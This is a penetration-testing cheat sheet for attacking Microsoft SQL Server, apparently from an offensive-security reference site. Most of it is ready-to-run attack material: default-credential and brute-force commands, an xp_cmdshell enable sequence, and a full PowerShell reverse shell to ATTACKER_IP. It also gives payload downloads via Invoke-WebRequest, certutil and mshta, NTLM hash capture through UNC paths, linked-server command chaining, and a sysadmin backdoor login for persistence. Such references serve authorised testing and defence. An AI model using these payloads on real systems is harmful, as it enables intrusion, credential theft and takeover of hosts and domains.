1433 - MSSQL (Microsoft SQL Server)

Default Port: 1433/TCP MSSQL is Microsoft’s own database engine and shows up constantly in Windows-heavy environments, often running as a service account with far more privilege than the database itself needs. That combination, a database reachable over the network plus a privileged service account behind it, is what makes MSSQL one of the more reliable paths from “database access” to full domain compromise.

SQL Authentication

Username and password managed inside SQL Server itself, independent of Windows. The sa account is the built-in sysadmin here, and the one worth testing default and weak credentials against first.

Windows Authentication

Authenticates using the current domain session instead of a separate SQL login. Relevant once you’ve got a foothold on the domain rather than testing the service blind.

xp_cmdshell is the single most important feature on this page. If it’s enabled, or you have the privilege to enable it, you have OS-level command execution as the SQL Server service account, not just database access.

Connecting

mssqlclient.py (Impacket)
sqlcmd (Windows)
sqsh (Linux)

The most common tool for interactive access, supports both authentication types and pass-the-hash.

mssqlclient.py sa@TARGET                            # SQL authentication, blank/prompted password
mssqlclient.py DOMAIN/USER:PASSWORD@TARGET -windows-auth
mssqlclient.py USER@TARGET -hashes :NTHASH             # pass-the-hash

sqlcmd -S TARGET -U sa -P PASSWORD
sqlcmd -S TARGET -E                                    # Windows authentication
sqlcmd -S TARGET -U sa -P PASSWORD -Q "SELECT @@version"   # run one query and exit

In an interactive sqlcmd session, every command needs GO on its own line afterward to actually execute, it’s easy to forget and assume the session has hung.

sqsh -S TARGET -U sa -P 'PASSWORD' -h

Common default credentials worth trying before anything else: sa: (blank), sa:sa, sa:password, sa:Password123, sa:P@ssw0rd.

Recon and Instance Discovery

Before touching port 1433 directly, the SQL Server Browser service on UDP 1434 can reveal multiple named instances running on a single host, instances that might not be obvious from a TCP scan alone.

nmap -sU -p1434 --script ms-sql-discover TARGET

use auxiliary/scanner/mssql/mssql_ping
set RHOSTS TARGET
run

A single nmap command covering most of the initial enumeration in one pass, worth running early on any confirmed MSSQL target:

sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p1433 TARGET

Manual Enumeration

SELECT @@version;                                            -- SQL Server version
SELECT name FROM sys.databases;                                -- list databases
USE DATABASE_NAME;                                               -- switch database
SELECT table_name FROM information_schema.tables;                 -- list tables
SELECT * FROM TABLE_NAME;                                           -- dump a table

SELECT SYSTEM_USER;                                            -- current login
SELECT IS_SRVROLEMEMBER('sysadmin');                              -- 1 if the current user is sysadmin
SELECT loginname FROM syslogins WHERE sysadmin = 1;                 -- every sysadmin account on the server

More enumeration: permissions, table search, linked servers

SELECT * FROM fn_my_permissions(NULL, 'SERVER');          -- full permission set for the current login
EXEC sp_helpuser;                                           -- list database users
SELECT name, password_hash FROM sys.sql_logins;                -- password hashes (needs sysadmin)

SELECT table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%password%';                        -- hunt for sensitive-looking columns

SELECT srvname, isremote FROM sysservers;                   -- list linked servers
EXEC sp_linkedservers;

Brute Forcing

hydra -l sa -P /usr/share/wordlists/rockyou.txt TARGET mssql

nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=passwords.txt TARGET

Command Execution via xp_cmdshell

Enabling xp_cmdshell requires sysadmin privileges and is a loud, easily logged change. If it’s already enabled, skip straight to execution; only enable it yourself once you’re confident doing so is in scope.

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';

Turn it back off once you’re done if stealth matters: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;

Getting a Shell

A PowerShell reverse shell runs directly through xp_cmdshell without needing to drop a file to disk first:

EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''ATTACKER_IP'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

For a full Meterpreter session instead, generate a payload and pull it down through xp_cmdshell:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe

EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://ATTACKER_IP/shell.exe -OutFile C:\Temp\shell.exe"';
EXEC xp_cmdshell 'C:\Temp\shell.exe';

Alternate download methods and the HTA delivery route

EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Temp\shell.exe';
EXEC xp_cmdshell 'C:\Temp\shell.exe';

Using Metasploit’s HTA server as the delivery mechanism instead of a raw executable:

use exploit/windows/misc/hta_server

EXEC xp_cmdshell 'mshta.exe http://ATTACKER_IP:8080/payload.hta';

Reading and Writing Files

SELECT * FROM OPENROWSET(BULK N'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;

With xp_cmdshell already enabled, reading and listing files is just as easy through native commands:

EXEC xp_cmdshell 'type C:\Windows\win.ini';
EXEC master..xp_dirtree 'C:\', 1, 1;
EXEC master..xp_fileexist 'C:\Windows\win.ini';

Capturing the Service Account’s NTLM Hash

This is an active technique that intercepts authentication traffic. Confirm scope before running it, and remember that it captures the SQL Server service account’s hash, not a user’s.

xp_dirtree and related procedures will happily follow a UNC path, which forces the SQL Server service account to authenticate to whatever SMB server you point it at. Pointed at a listener you control, that’s a captured NetNTLMv2 hash.

sudo responder -I INTERFACE

EXEC master..xp_dirtree '\\ATTACKER_IP\share';
EXEC master..xp_subdirs '\\ATTACKER_IP\share';

Crack whatever Responder captures:

hashcat -m 5600 hash.txt rockyou.txt

Impersonation

Impersonation lets a lower-privileged login temporarily act as a higher-privileged one, frequently sa, without ever needing that account’s password.

SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantee_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;     -- return to the original login when finished

Linked Servers

A linked server is one MSSQL instance configured to query another. If the credentials stored for that link have higher privileges than your own, this is a direct privilege escalation path, and if the chain goes several servers deep, a lateral movement one too.

SELECT srvname, isremote FROM sysservers;
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LINKED_SERVER];

Command execution chains through linked servers the same way xp_cmdshell does locally, just wrapped in EXEC (...) AT:

EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];

Double-hop to a third server

EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [SERVER3]') AT [SERVER2];

Persistence

Creating logins or scheduled jobs are high-impact, easily detected changes to the target. Confirm scope explicitly covers this before going beyond enumeration and impersonation.

CREATE LOGIN backdoor WITH PASSWORD = 'PASSWORD';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';

Metasploit Modules

search name:mssql                                     # list every MSSQL-related module
use auxiliary/scanner/mssql/mssql_login                  # brute-force credentials
use auxiliary/admin/mssql/mssql_enum                        # enumerate users and config with valid creds
use auxiliary/scanner/mssql/mssql_hashdump                    # dump password hashes
use exploit/windows/mssql/mssql_payload                         # get Meterpreter directly when xp_cmdshell is enabled
use exploit/windows/mssql/mssql_clr_payload                       # alternate execution path via CLR assemblies

Quick Reference Tools

Hackviser: MSSQL

Quick-reference pentesting guide for the MSSQL service.

HackTricks: MSSQL

Deeper breakdown of MSSQL enumeration and exploitation techniques.

xp_cmdshell, hash capture, and persistence are all high-impact actions capable of fully compromising the host. Confirm scope before going past read-only enumeration.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

1433 - MSSQL (Microsoft SQL Server)

SQL Authentication

Windows Authentication

Connecting

Recon and Instance Discovery

Manual Enumeration

Brute Forcing

Command Execution via xp_cmdshell

Getting a Shell

Reading and Writing Files

Capturing the Service Account’s NTLM Hash

Impersonation

Linked Servers

Persistence

Metasploit Modules

Quick Reference Tools

Hackviser: MSSQL

HackTricks: MSSQL

SQL Authentication

Windows Authentication

​Connecting

​Recon and Instance Discovery

​Manual Enumeration

​Brute Forcing

​Command Execution via xp_cmdshell

​Getting a Shell

​Reading and Writing Files

​Capturing the Service Account’s NTLM Hash

​Impersonation

​Linked Servers

​Persistence

​Metasploit Modules

​Quick Reference Tools

Hackviser: MSSQL

HackTricks: MSSQL

Connecting

Recon and Instance Discovery

Manual Enumeration

Brute Forcing

Command Execution via xp_cmdshell

Getting a Shell

Reading and Writing Files

Capturing the Service Account’s NTLM Hash

Impersonation

Linked Servers

Persistence

Metasploit Modules

Quick Reference Tools